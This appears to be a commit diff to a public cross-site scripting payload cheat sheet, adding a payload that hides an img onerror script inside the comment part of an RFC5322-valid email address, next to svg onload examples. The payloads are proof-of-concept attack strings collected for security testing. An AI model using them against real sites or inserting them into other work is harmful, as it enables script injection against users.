Merge pull request #723 from cydave/master

Add additional XSS payload in email addresses RFC5322
This commit is contained in:
Swissky 2024-06-02 11:25:45 +02:00 committed by GitHub
commit 6d3fef0df3
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194

View File

@ -783,6 +783,12 @@ $ echo "<svg^Lonload^L=^Lalert(1)^L>" | xxd
"><svg/onload=confirm(1)>"@x.y
```
([RFC5322 compliant](https://0dave.ch/posts/rfc5322-fun/))
```javascript
xss@example.com(<img src='x' onerror='alert(document.location)'>)
```
### Bypass document blacklist
```javascript